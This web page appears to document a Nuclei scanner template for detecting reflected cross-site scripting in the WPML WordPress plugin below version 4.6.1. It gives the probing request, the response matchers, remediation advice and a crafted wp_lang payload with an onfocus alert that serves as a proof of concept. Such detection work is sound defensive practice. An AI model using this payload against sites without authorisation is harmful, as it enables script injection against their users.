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WordPress Plugin WPML Version < 4.6.1 Cross-Site Scripting

ID: wpml-xss

Severity: medium

Author: bugvsme

Tags: xss,wp,wordpress,wpml,wp-plugin

Description

Section titled “Description”

WordPress Plugin WPML Version < 4.6.1 is vulnerable to RXSS via wp_lang parameter.

YAML Source

Section titled “YAML Source”
id: wpml-xss


info:
  name: WordPress Plugin WPML Version < 4.6.1 Cross-Site Scripting
  author: bugvsme
  severity: medium
  description: |
    WordPress Plugin WPML Version < 4.6.1  is vulnerable to RXSS via wp_lang parameter.
  remediation: |
    Update the WPML plugin to 4.6.1 version.
  reference:
    - https://wpml.org/fr/changelog/2023/03/wpml-4-6-1-important-security-update/
    - https://twitter.com/bug_vs_me/status/1652789903766200320
  metadata:
    verified: true
    max-request: 1
  tags: xss,wp,wordpress,wpml,wp-plugin


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?wp_lang=en_US%27'


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200


      - type: word
        part: body
        words:
          - '#039;"='
          - 'wpml_lang'
        condition: and


    extractors:
      - type: dsl
        dsl:
          - 'host + "/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc%3C!%3Eusin+alert(domain)%0c"'
# digest: 490a00463044021f1ffc68e8a4c0cb77b296ed838816e45d93f9e9c9beb294bd2a629f58a48f5c0221009d7aa67a06d4cde96621806bfe45e71453087330d221eaca43b2c3e28ef96bd5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wpml-xss.yaml"

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